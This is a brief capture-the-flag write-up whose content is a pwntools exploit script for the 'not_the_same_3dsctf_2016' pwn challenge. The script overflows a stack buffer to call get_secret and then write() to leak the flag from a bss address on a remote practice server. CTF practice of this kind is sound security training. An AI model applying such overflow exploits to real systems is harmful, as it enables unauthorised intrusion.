PWN not_the_same_3dsctf_2016 wp

from pwn import * 
from LibcSearcher import *

content = 0
context.log_level = 'debug'

elf = ELF('./not_the_same_3dsctf_2016')

write_addr = elf.sym['write']
get_secret = elf.symbols['get_secret']
flag_bss = 0x080ECA2D  # flag在bss字段上的地址

def main():
    if content == 1:
        p = process('not_the_same_3dsctf_2016')
    else:
        p = remote('node4.buuoj.cn',29698)

    paylaod = b'a' * 0x2D + p32(get_secret) + p32(write_addr) + b'a'*4 +p32(1) + p32(flag_bss) + p32(45)
    p.sendline(paylaod)
    p.interactive()

main()